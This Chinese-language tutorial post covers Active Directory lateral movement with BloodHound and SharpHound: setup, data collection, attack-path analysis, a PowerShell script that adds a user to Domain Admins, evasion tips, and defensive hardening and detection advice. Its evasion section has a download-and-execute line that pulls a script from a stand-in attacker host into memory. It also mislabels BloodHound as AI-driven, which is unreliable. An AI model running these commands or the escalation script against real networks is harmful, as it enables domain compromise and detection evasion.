郑重声明: 本文所有攻击演示和代码示例,仅限在获得明确授权的测试环境中使用。严禁用于任何非法目的,否则后果自负。


前言

1. 技术背景:横向移动在现代攻击链中的核心地位

在网络攻击的生命周期中,攻击者在获得初始立足点(例如,通过钓鱼邮件攻陷一台员工PC)后,其核心目标是控制整个内网的关键资产,如域控制器、核心数据库等。横向移动 (Lateral Movement) 正是实现这一目标的关键阶段。它指的是攻击者在内网中,从一个已被攻陷的节点,利用各种凭证和漏洞,逐步访问和控制其他系统,最终抵达目标的行为。传统的横向移动极度依赖攻击者的手动操作和经验判断,效率低下且易被发现。而 AI驱动的横向移动工具,通过算法自动分析网络拓扑、用户权限和系统漏洞,能够智能规划出最优的攻击路径,极大地提升了攻击效率和隐蔽性,是现代高级持续性威胁(APT)攻击中的前沿技术。

2. 学习价值:从“手动挡”到“自动挡”的效率革命

掌握AI驱动的横向移动技术,能为您带来三大核心价值提升:

  • 攻击效率倍增:您将学会如何利用工具在数分钟内完成过去需要数小时甚至数天才能完成的内网信息收集和路径规划,快速定位关键攻击路径。
  • 思维模式升级:从关注单个漏洞的“点对点”攻击思维,升级到通览全局、规划路径的“网络图”攻击思维,理解攻击的系统性和关联性。
  • 防御视野拓宽:通过模拟最高效的攻击方式,您可以更精准地识别自身网络中的防御薄弱环节、权限配置风险和关键脆弱节点,从而构建更具弹性的纵深防御体系。

3. 使用场景:红蓝对抗与安全评估的利器

AI驱动的横向移动工具在以下场景中发挥着至关重要的作用:

  • 红队评估 (Red Teaming):在模拟真实攻击时,快速发现从边缘到核心的攻击路径,验证企业安全纵深防御的有效性。
  • 渗透测试 (Penetration Testing):在获得初始权限后,自动化地探索内网,寻找并验证可利用的提权和横向移动机会。
  • 安全架构审查:作为一种“攻击路径规划器”,帮助安全架构师在设计阶段就发现潜在的权限滥用风险和网络隔离缺陷。
  • 安全意识培训:直观地向管理层和开发团队展示一个看似无害的低权限账户如何通过一系列“合法”操作最终控制整个网络,提升全员安全意识。

一、AI驱动的横向移动是什么

1. 精确定义

AI驱动的横向移动工具 是一种利用图论算法(如Dijkstra、A*等)和攻击知识库,自动化分析和发现网络内部攻击路径的软件。它将内网中的计算机、用户、凭证、会话、权限组等元素抽象为图的节点 (Nodes),将访问关系、利用漏洞、执行命令等行为抽象为图的边 (Edges),并为每条边赋予一个“成本”(如被发现的概率、所需时间等)。通过AI算法,该工具能在庞大的攻击图中,计算出从攻击者当前位置到指定目标(如域管权限)的“最低成本”路径。

2. 一个通俗类比

您可以把它想象成一个专为黑客设计的“高德地图”。

  • 当前位置:你刚刚攻陷的一台Web服务器。
  • 目的地:公司的域控制器。
  • 地图数据:工具通过扫描内网收集到的所有主机、用户、登录会话、共享文件夹等信息。
  • 交通规则:攻击技术知识库,比如“拥有管理员密码可以登录任意机器”、“拿到某个用户的令牌可以访问他能访问的共享”等。
  • 导航算法 (AI):它不会推荐“最短”的路线,而是推荐一条最“隐蔽”且“高效”的路线。比如,它会建议你先从Web服务器上抓取一个普通用户的密码,再用这个密码登录到IT部门员工的电脑,接着利用他电脑上缓存的管理员会话令牌,最终悄无声息地登录到域控制器。

3. 实际用途

在实战中,这类工具的核心用途是决策支持攻击自动化。面对一个拥有成千上万台主机的复杂内网,攻击者无需再手动猜测和尝试。工具可以直接回答以下问题:

  • “我现在手上有user_a的密码,如何才能最快地成为域管理员?”
  • “内网中有哪些机器可以直接访问到核心数据库DB_SERVER?”
  • “如果我攻陷了PC-001,是否存在一条路径能让我控制CEO的电脑?”

4. 技术本质说明

其技术本质是“状态空间搜索”。整个内网被视为一个巨大的状态空间,每个状态代表攻击者当前拥有的权限和访问范围。每一次横向移动操作(如使用PsExec、利用SMB漏洞)都是一次状态转移。AI工具的核心任务就是在这个庞大的状态空间中,找到一条从“初始状态”(Initial State)到“目标状态”(Goal State)的最优路径。

为了实现这一点,工具通常包含三大核心组件:

  1. 信息收集器 (Collector):负责扫描和收集内网中的各种实体和关系数据,构建攻击图的基础。
  2. 攻击图数据库 (Graph Database):通常使用Neo4j等图数据库存储和管理这些数据,便于进行复杂的路径查询。
  3. 路径计算引擎 (Pathfinding Engine):内置攻击原语(Attack Primitives)和图算法,负责在图上进行路径搜索和规划。

下面是一张使用Mermaid绘制的组件关系图,清晰地展示了其工作原理。

工具核心组件

目标内网

攻击者环境

攻击者

初始立足点

AI横向移动工具

信息收集器

主机

用户

会话

组策略

攻击图数据库 Neo4j

路径计算引擎

攻击知识库

最优攻击路径

这张图清晰地展示了从攻击者发起,到工具进行信息收集、构建图谱,再到AI引擎计算路径,最终返回给攻击者的完整流程。


二、环境准备

我们将使用业界最知名的开源AI横向移动工具 BloodHound 作为实战演示。BloodHound本身是一个数据分析和可视化平台,它依赖一个名为 SharpHound 的数据收集器。

1. 工具版本

  • BloodHound: 4.3.1 或更高版本
  • SharpHound: 2.2.1 或更高版本
  • 数据库: Neo4j 4.4.x (BloodHound 4.3.1 捆绑版本)

2. 下载方式

3. 核心配置命令

BloodHound的后端依赖Neo4j图数据库。首次运行BloodHound时,它会自动初始化Neo4j。

  1. 启动BloodHound:

    • 在Windows上,直接运行 BloodHound.exe
    • 在Linux上,运行 ./BloodHound --no-sandbox
  2. 登录数据库:

    • 首次启动时,会显示默认的数据库用户名和密码(通常是 neo4j / bloodhound)。
    • 登录后,系统会强制你修改新密码。请务必记住这个新密码。

4. 可运行环境命令或 Docker

为了简化环境搭建,强烈推荐使用官方提供的Docker镜像,可以一键启动BloodHound及其所需的Neo4j数据库。

# 声明:此命令仅用于搭建授权的渗透测试实验环境。

# 拉取最新的BloodHound Docker镜像
docker pull specterops/bloodhound

# 运行BloodHound容器
# -p 7474:7474 是Neo4j数据库的端口
# -p 8080:8080 是BloodHound的Web界面端口
docker run -it --rm \
    -p 7474:7474 -p 8080:8080 \
    -e NEO4J_PASSWORD="MySecretPassword123!" \
    specterops/bloodhound

注释:

  • --rm: 容器停止后自动删除,适合测试。若要持久化数据,请移除此参数并挂载卷。
  • -e NEO4J_PASSWORD: 设置Neo4j数据库的密码。请替换为你的强密码。

启动后,通过浏览器访问 http://localhost:8080 即可看到BloodHound的登录界面。使用用户名 neo4j 和你设置的密码登录。


三、核心实战

本节将演示一个完整的 BloodHound 实战 流程:从一台被控的普通域成员主机开始,收集域内信息,导入BloodHound进行分析,并找到通往域管理员权限的攻击路径。

场景假设:

  • 目标域: TESTLAB.LOCAL
  • 初始立足点: PC-001 主机,已获得普通用户 j.smith 的shell权限。
  • 最终目标: 获得 Domain Admins 组的成员权限。

步骤1:在被控主机上运行SharpHound收集数据

目的: 收集域内的所有对象(用户、计算机、组)、会话、ACL等信息,并生成JSON文件。

PC-001 的shell中,我们将执行 SharpHound.exe。为了尽可能全面地收集信息,我们会使用 -c All 参数。

# 声明:此脚本仅用于授权测试环境中的信息收集。

# 执行SharpHound,收集所有信息,并指定输出文件名
# -c All: 指定收集类型为全部,包括组策略、ACL、会话等
# --domain TESTLAB.LOCAL: 指定目标域
# --outputdirectory .: 指定输出目录为当前目录
# --outputprefix MyLabData: 指定输出文件的前缀
.\SharpHound.exe -c All --domain TESTLAB.LOCAL --outputdirectory . --outputprefix MyLabData

输出结果:
执行完毕后,当前目录下会生成一个或多个 .json 文件,例如 20260318103000_MyLabData_users.json, 20260318103000_MyLabData_computers.json 等。这些文件打包成一个zip压缩包,例如 20260318103000_MyLabData.zip

步骤2:将数据导入BloodHound

目的: 将收集到的JSON数据加载到BloodHound的Neo4j数据库中,构建攻击图。

  1. 打开BloodHound GUI界面。
  2. 在右侧的 “DATABASE INFO” 区域,可以看到 “Upload Data” 按钮。
  3. 点击 “Upload Data”,选择上一步生成的 20260318103000_MyLabData.zip 文件。
  4. BloodHound会自动处理并导入数据。你可以在下方的 “Upload Progress” 看到导入进度。完成后,点击 “Clear Finished” 清空列表。

步骤3:分析攻击路径

目的: 利用BloodHound的查询功能,找到从我们已有的权限到目标的路径。

  1. 设置起点和终点:

    • 在左上角的节点搜索框中,输入我们已控制的用户名 J.SMITH@TESTLAB.LOCAL,将其设置为起点(Set as Starting Node)。
    • 再次在搜索框中输入目标组 DOMAIN ADMINS@TESTLAB.LOCAL,将其设置为终点(Set as Ending Node)。
  2. 执行路径查找:

    • 点击搜索框旁边的路径查找按钮(一个类似岔路口的图标)。
    • BloodHound的AI引擎将开始在图数据库中计算所有可能的攻击路径。

请求/响应/输出结果:
BloodHound的界面会以图形化的方式展示出最短的攻击路径。例如,它可能会显示如下路径:

J.SMITH@TESTLAB.LOCAL -> AdminTo -> SRV-APP01.TESTLAB.LOCAL -> HasSession -> SVC-SQL@TESTLAB.LOCAL -> MemberOf -> SQL ADMINS@TESTLAB.LOCAL -> GenericAll -> DOMAIN ADMINS@TESTLAB.LOCAL

路径解读:

  • 用户 J.SMITH 对服务器 SRV-APP01 有管理员权限 (AdminTo)。
  • SRV-APP01 上,有一个属于 SVC-SQL 用户的活动会话 (HasSession)。
  • SVC-SQL 用户是 SQL ADMINS 组的成员 (MemberOf)。
  • SQL ADMINS 组对 DOMAIN ADMINS 组拥有完全控制权 (GenericAll),这意味着该组的成员可以修改 DOMAIN ADMINS 组的成员列表。

步骤4:编写自动化利用脚本

目的: 将BloodHound发现的路径,通过脚本自动化地进行利用,实现权限提升。

下面的PowerShell脚本模拟了利用上述路径的过程。

<#
.SYNOPSIS
    Automates the lateral movement path discovered by BloodHound.
.DESCRIPTION
    This script demonstrates how to programmatically follow an attack path.
    It assumes the attacker has initial credentials and follows a specific chain of trust to escalate privileges.
.PARAMETER InitialUserCredential
    A PSCredential object for the starting user (e.g., j.smith).
.PARAMETER StartComputer
    The name of the computer where the initial user has admin rights.
.PARAMETER TargetGroup
    The group to which we want to add our user (e.g., "Domain Admins").
.PARAMETER UserToAdd
    The user account we want to elevate (e.g., "j.smith").
.EXAMPLE
    # IMPORTANT: This script is for educational and authorized testing purposes ONLY.
    # Unauthorized use is illegal.
    
    $cred = Get-Credential # Prompts for j.smith's credentials
    .\Invoke-AutomatedPath.ps1 -InitialUserCredential $cred -StartComputer "SRV-APP01.TESTLAB.LOCAL" -TargetGroup "Domain Admins" -UserToAdd "j.smith"
.NOTES
    Requires administrative privileges on the local machine to run and appropriate modules like PowerSploit.
#>
function Invoke-AutomatedPath {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [System.Management.Automation.PSCredential]$InitialUserCredential,

        [Parameter(Mandatory=$true)]
        [string]$StartComputer,

        [Parameter(Mandatory=$true)]
        [string]$TargetGroup,

        [Parameter(Mandatory=$true)]
        [string]$UserToAdd
    )

    # --- 授权测试警告 ---
    Write-Warning "This script performs actions that can escalate privileges and should ONLY be used in authorized penetration testing environments."
    Read-Host "Press Enter to continue if you have explicit authorization..."
    # --------------------

    try {
        # 步骤1: 使用 j.smith 的凭证,在 SRV-APP01 上执行命令
        Write-Host "[*] Step 1: Executing commands on $StartComputer as $($InitialUserCredential.UserName)..."
        $session = New-PSSession -ComputerName $StartComputer -Credential $InitialUserCredential
        if (-not $session) {
            throw "Failed to create PSSession to $StartComputer. Check credentials or network connectivity."
        }

        # 步骤2: 在 SRV-APP01 上寻找 SVC-SQL 的会话并窃取其令牌
        # (这里使用伪代码代表令牌窃取,实战中会使用 Mimikatz 或类似工具)
        Write-Host "[*] Step 2: Attempting to impersonate a privileged user session on $StartComputer..."
        $impersonationResult = Invoke-Command -Session $session -ScriptBlock {
            # In a real scenario, you would use tools like Invoke-TokenManipulation from PowerSploit
            # For this example, we simulate success if we can find the process.
            $targetProcess = Get-Process | Where-Object { $_.UserName -like "*SVC-SQL*" }
            if ($targetProcess) {
                Write-Output "Successfully found target process. Simulating token impersonation."
                return $true
            }
            return $false
        }

        if (-not $impersonationResult) {
            throw "Failed to find and impersonate the target user's session on $StartComputer."
        }

        # 步骤3: 以 SVC-SQL 的身份 (现在我们已经模拟了它的权限) 将 j.smith 添加到 Domain Admins 组
        Write-Host "[*] Step 3: Adding user '$UserToAdd' to group '$TargetGroup' with elevated context..."
        Invoke-Command -Session $session -ScriptBlock {
            param($user, $group)
            # This command runs under the impersonated context on the remote machine
            try {
                Add-ADGroupMember -Identity $group -Members $user -ErrorAction Stop
                Write-Output "[+] SUCCESS: User '$user' has been added to the '$group' group."
            } catch {
                throw "Failed to add user to group. Error: $_"
            }
        } -ArgumentList $UserToAdd, $TargetGroup

    } catch {
        Write-Error "An error occurred during the automated attack path execution: $_"
    } finally {
        if ($session) {
            Write-Host "[*] Cleaning up session..."
            Remove-PSSession $session
        }
    }
}

这个脚本将BloodHound提供的“地图”导航,转化为了实际的攻击行动,是 BloodHound 使用方法 的一个完整闭环。


四、进阶技巧

1. 常见错误

  • 数据收集不全: 最常见的错误是使用默认的收集参数,这会遗漏GPO、ACL等关键信息。始终使用 -c All,除非你有特定理由不这样做。
  • 在错误的主机上运行SharpHound: SharpHound应在已加入域的主机上以域用户身份运行,否则无法查询到完整的AD信息。
  • 数据库性能问题: 在大型网络(超过10万节点)中,Neo4j可能会变慢。确保为Docker容器或物理机分配足够的RAM(建议16GB+)。

2. 性能 / 成功率优化

  • 分阶段收集: 在非常大的环境中,可以先只收集用户信息 (-c Users,Groups),快速找到高价值用户,然后再针对这些用户所在的机器进行深入的会话和本地管理员收集。
  • 使用缓存文件: SharpHound支持使用缓存 (--cachefile),在多次收集中可以避免重复查询,大大加快速度。
  • 自定义查询: 不要只依赖内置的“最短路径”查询。学习Cypher查询语言(Neo4j的查询语言),可以编写更复杂的查询,例如“查找所有拥有到域控路径,但路径长度小于5的普通用户”。

3. 实战经验总结

  • 会话是黄金: HasSession 边是最有价值的横向移动机会。一个管理员登录在一台不安全的机器上,就等于打开了通往核心的大门。
  • 滥用ACL是王道: 很多企业不注意AD对象的ACL配置。寻找对高权限组或用户对象有 GenericAll, GenericWrite, WriteDacl 权限的低权限对象,这是最隐蔽的提权方式。
  • GPO是捷径: 对GPO有编辑权限,意味着可以向下属OU的所有计算机或用户下发策略,例如执行脚本、添加本地管理员等,是一条非常高效的路径。

4. 对抗 / 绕过思路

  • 隐蔽收集: 默认的SharpHound收集行为会产生大量LDAP查询日志。可以使用 --ldaps 通过加密通道查询,或使用 --stealth 参数进行慢速、低频的收集,以绕过基本的日志检测。
  • 内存中执行: SharpHound有PowerShell版本 (SharpHound.ps1),可以通过内存加载执行,避免在磁盘上留下exe文件,对抗基于文件特征的检测。
    IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/SharpHound.ps1')
    Invoke-BloodHound -CollectionMethod All
    
  • 利用非传统对象: BloodHound的 原理 决定了它依赖已知对象。高级攻击者会利用一些BloodHound默认不收集或分析的对象,如Azure AD对象、Exchange权限等,来构建“带外”的攻击路径。

五、注意事项与防御

1. 错误写法 vs 正确写法 (防御者视角)

  • 错误: 允许管理员账户(如Domain Admins成员)使用其高权限账户登录普通员工PC或服务器进行日常管理。

  • 正确: 实施分层管理模型 (Tier Model)。Tier 0(域控)管理员绝不能登录Tier 1(服务器)或Tier 2(PC)资产。为管理员提供专用的安全管理工作站(PAW)。

  • 错误: 共享本地管理员账户密码,在多台服务器上使用相同的本地管理员密码。

  • 正确: 使用 LAPS (Local Administrator Password Solution),为每台计算机生成随机、唯一的本地管理员密码,并由AD安全地存储和轮换。

2. 风险提示

  • 凭证泄露: BloodHound本身不利用漏洞,但它指明了凭证最有价值的应用场景。任何一个环节的凭证泄露,都可能导致整个攻击路径的成立。
  • 配置即漏洞: 90%的BloodHound路径都源于配置错误(如不当的ACL、过度的组成员关系),而非传统意义上的软件漏洞。

3. 开发侧安全代码范式

虽然横向移动主要与运维相关,但开发侧也需注意:

  • 最小权限原则: 应用程序的服务账户(Service Account)应仅被授予其运行所需的最小权限。如果一个应用只需要读取某个数据库,不要给它域管权限。
  • 凭证硬编码: 严禁在代码、配置文件、脚本中硬编码任何凭证。应使用安全的凭证管理系统,如Vault、Azure Key Vault等。

4. 运维侧加固方案

  • 网络分段: 在关键系统(如域控)前部署严格的防火墙策略,只允许来自特定管理网段、特定协议的访问。
  • 清理AD对象: 定期审查并清理不活动的、权限过高的用户和计算机账户。
  • 监控异常登录: 监控高权限账户在非标准时间、非标准地点的登录行为。
  • 限制会话: 强制执行策略,禁止高权限账户在低安全级别的资产上创建登录会话。

5. 日志检测线索

  • LDAP查询: 监控来自单一源IP在短时间内产生的大量LDAP查询,特别是针对adminCount=1的用户、组策略对象等的查询。这是SharpHound的典型行为。
  • 异常服务创建: 监控通过services.exe创建的可疑服务,这是PsExec等横向移动工具的常用手法。
  • 4624登录事件: 监控登录类型为3(网络登录)和10(远程交互)的登录事件,特别是高权限账户登录到非预期的服务器或工作站。

总结

  1. 核心知识: AI驱动的横向移动工具(如BloodHound)将内网抽象为一张攻击图,利用图算法自动发现从低权限到高权限的“最优”攻击路径,其 原理 是状态空间搜索。
  2. 使用场景: 它是红队评估、渗透测试和安全架构审查的利器,能极大提升发现内网脆弱性的效率,是 BloodHound 实战 的核心价值。
  3. 防御要点: 防御的核心在于破坏攻击路径的连接性。关键措施包括:实施分层管理模型、使用LAPS、收紧AD对象的ACL、以及严格的网络分段。
  4. 知识体系连接: 横向移动是整个攻击链(Cyber Kill Chain)中的一环,它上承“凭证获取”,下启“目标达成”。掌握它,能让你将AD安全、身份认证、网络准入等知识点串联起来。
  5. 进阶方向: 深入学习Cypher查询语言以进行自定义分析;研究如何将Azure AD与本地AD的攻击路径结合;探索如何自动化利用BloodHound API来集成到自己的攻击框架中。

自检清单

  • 是否说明技术价值?
  • 是否给出学习目标?
  • 是否有 Mermaid 核心机制图?
  • 是否有可运行代码?
  • 是否有防御示例?
  • 是否连接知识体系?
  • 是否避免模糊术语?
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐